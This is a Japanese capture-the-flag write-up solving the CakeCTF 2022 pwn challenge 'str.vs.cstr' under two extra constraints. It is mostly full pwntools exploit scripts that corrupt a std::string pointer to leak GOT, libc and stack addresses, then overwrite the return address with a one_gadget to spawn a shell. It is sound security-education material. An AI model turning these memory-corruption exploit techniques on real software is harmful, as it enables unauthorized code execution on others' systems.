はじめに
この記事は 1日1CTF Advent Calendar 2024 の 4 日目の記事です。
また、この記事は 前日の記事 の続きです。まだ読んでいない方は先にそちらをご覧ください。
問題
str.vs.cstr (問題出典: CakeCTF 2022)
Which do you like, C string or C++ string?
リポジトリ: https://github.com/theoremoon/cakectf2022-public/tree/master/pwn/str_vs_cstr
今回は、フラグに書かれていた 2 つの宿題を解く。
HW1: Remove "call_me" and solve it
宿題1: call_me
関数を削除して解く。
9a10,13
< __attribute__((used))
< void call_me() {
< std::system("/bin/sh");
< }
まずいくつかの関数の GOT を leak して libc を特定する。
前回同様 str
のデータへのポインタを GOT に書き換え、出力させれば OK 。ただし、今回は str
の長さまで書き換える必要がある点に注意 (何もしないと長さ 0 の文字列扱いになり何も出力されない)。
from pwn import *
import sys
################################################
# context.log_level = "DEBUG"
FILENAME = "./chall"
LIBCNAME = ""
host = "localhost"
port = 9003
################################################
context(os="linux", arch="amd64")
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME != "" else None
if len(sys.argv) > 1:
if sys.argv[1][0] == "d":
cmd = """
set follow-fork-mode parent
"""
io = gdb.debug(FILENAME, cmd)
elif sys.argv[1][0] == "r":
io = remote(host, port)
else:
io = process(FILENAME)
io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20 + p64(0x404068) + p64(8)) # str のデータのポインタを setbuf の GOT に書き換える + str の長さを 8 に書き換える
io.recvuntil(b"choice: ")
io.sendline(b"4")
io.recvuntil(b"str: ")
setbuf = u64(io.recvline().rstrip().rjust(8, b"\x00")) # setbuf の GOT を読み込む
print(f"setbuf: {hex(setbuf)}")
io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20 + p64(0x404030) + p64(8)) # str のデータのポインタを __cxa_atexit の GOT に書き換える + str の長さを 8 に書き換える
io.recvuntil(b"choice: ")
io.sendline(b"4")
io.recvuntil(b"str: ")
__cxa_atexit = u64(io.recvline().rstrip().rjust(8, b"\x00")) # __cxa_atexit の GOT を読み込む
print(f"__cxa_atexit: {hex(__cxa_atexit)}")
io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20 + p64(0x403fe8) + p64(8)) # str のデータのポインタを __libc_start_main の GOT に書き換える + str の長さを 8 に書き換える
io.recvuntil(b"choice: ")
io.sendline(b"4")
io.recvuntil(b"str: ")
__libc_start_main = u64(io.recvline().rstrip().rjust(8, b"\x00")) # __libc_start_main の GOT を読み込む
print(f"__libc_start_main: {hex(__libc_start_main)}")
io.interactive()
setbuf: 0x7744e97fead0
__cxa_atexit: 0x7744e97b9de0
__libc_start_main: 0x7744e9796f90
libc を特定したら、libc の environ
を読めば stack leak ができるので、リターンアドレスを書き換え one_gadget を呼び出して終わり。
from pwn import *
import sys
################################################
# context.log_level = "DEBUG"
FILENAME = "./chall"
LIBCNAME = "./libc.so.6"
host = "localhost"
port = 9003
################################################
context(os="linux", arch="amd64")
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME != "" else None
if len(sys.argv) > 1:
if sys.argv[1][0] == "d":
cmd = """
set follow-fork-mode parent
"""
io = gdb.debug(FILENAME, cmd)
elif sys.argv[1][0] == "r":
io = remote(host, port)
else:
io = process(FILENAME)
io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20 + p64(0x403FE8) + p64(8)) # str のデータのポインタを __libc_start_main の GOT に書き換える + str の長さを 8 に書き換える
io.recvuntil(b"choice: ")
io.sendline(b"4")
io.recvuntil(b"str: ")
__libc_start_main = u64(io.recvline().rstrip().rjust(8, b"\x00")) # __libc_start_main の GOT を読み込む
print(f"__libc_start_main: {hex(__libc_start_main)}")
environ = __libc_start_main + 0x1CB670
print(f"environ: {hex(environ)}")
io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20 + p64(environ) + p64(8)) # str のデータのポインタを environ に書き換える + str の長さを 8 に書き換える
io.recvuntil(b"choice: ")
io.sendline(b"4")
io.recvuntil(b"str: ")
stack_leak = u64(io.recvline().rstrip().rjust(8, b"\x00")) # environ を読み込む
print(f"stack_leak: {hex(stack_leak)}")
io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20 + p64(stack_leak - 0x100) + p64(8)) # str のデータのポインタを return address に書き換える + str の長さを 8 に書き換える
one_gadget = __libc_start_main + 0xBFB74
io.recvuntil(b"choice: ")
io.sendline(b"3")
io.recvuntil(b"str: ")
io.sendline(p64(one_gadget)) # return address に one_gadget のアドレス を書き込む
io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20 + p64(0)) # str のデータのポインタを null に
io.recvuntil(b"choice: ")
io.sendline(b"-1") # return 0 させるためなので何でもいい
io.interactive()
HW2: Set PIE+RELRO and solve it
2c2
< g++ -Wl,-z,lazy,-z,relro main.cpp -o chall -no-pie
---
> g++ -Wl,-z,now,-z,relro main.cpp -o chall -pie
PIE 有効、FULL RELRO な環境で解いてみる。また、HW1 の縛りも続行。
ここで初心に帰って c_str
に AAAAAAAA
を、 str
に BBBBBBBB
を書き込んだときの stack の様子を見てみよう。
実は str
のポインタは (str
の長さが16以下の時) stack を指しているので、c_str
に 0x20 文字(と文字列終端に入る null 文字) を入れればポインタをの下 1 byte を 0x00
に破壊できて、スタック上の違う場所を読み出せる。
rsp の位置に stack のアドレスが置いてあるので、破壊したポインタが指す場所いい感じのとき(これは $ \frac{1}{16} $ の確率) 、stack leak ができる。ただし、str
に長さ 8 の文字列を入れた後にポインタを破壊しないと先ほど同様に長さ 0 の文字列扱いになり何も出力されないので注意。
あとはそこから相対的に libc base を leak してからリターンアドレスを書き換えて one_gadget に飛ばしてあげればよい。
from pwn import *
import sys
################################################
# context.log_level = "DEBUG"
FILENAME = "./chall"
LIBCNAME = "./libc.so.6"
host = "localhost"
port = 9003
################################################
context(os="linux", arch="amd64")
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME != "" else None
if len(sys.argv) > 1:
if sys.argv[1][0] == "d":
cmd = """
set follow-fork-mode parent
"""
io = gdb.debug(FILENAME, cmd)
elif sys.argv[1][0] == "r":
io = remote(host, port)
else:
io = process(FILENAME)
io.recvuntil(b"choice: ")
io.sendline(b"3")
io.recvuntil(b"str: ")
io.sendline(b"B" * 0x8) # str のデータの長さを 8 にしておく
io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20) # str のデータのポインタを破壊
io.recvuntil(b"choice: ")
io.sendline(b"4")
io.recvuntil(b"str: ")
stack_leak = u64(io.recvline().rstrip().rjust(8, b"\x00")) # 破壊したポインタの先のデータを読み込む
print(f"stack_leak: {hex(stack_leak)}")
assert stack_leak & 0xff == 0x20
io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20 + p64(stack_leak + 0x58) + p64(8)) # str のデータのポインタを return address に書き換える + str の長さを 8 に書き換える
io.recvuntil(b"choice: ")
io.sendline(b"4")
io.recvuntil(b"str: ")
libc_leak = u64(io.recvline().rstrip().rjust(8, b"\x00")) # return address を読み込む
print(f"libc_leak: {hex(libc_leak)}")
one_gadget = libc_leak + 0xbfa81
io.recvuntil(b"choice: ")
io.sendline(b"3")
io.recvuntil(b"str: ")
io.sendline(p64(one_gadget)) # return address に one_gadget のアドレスを書き込む
io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"c_str: ")
io.sendline(b"A" * 0x20 + p64(0)) # str のデータのポインタを null に
io.recvuntil(b"choice: ")
io.sendline(b"-1") # return 0 させるためなので何でもいい
io.interactive()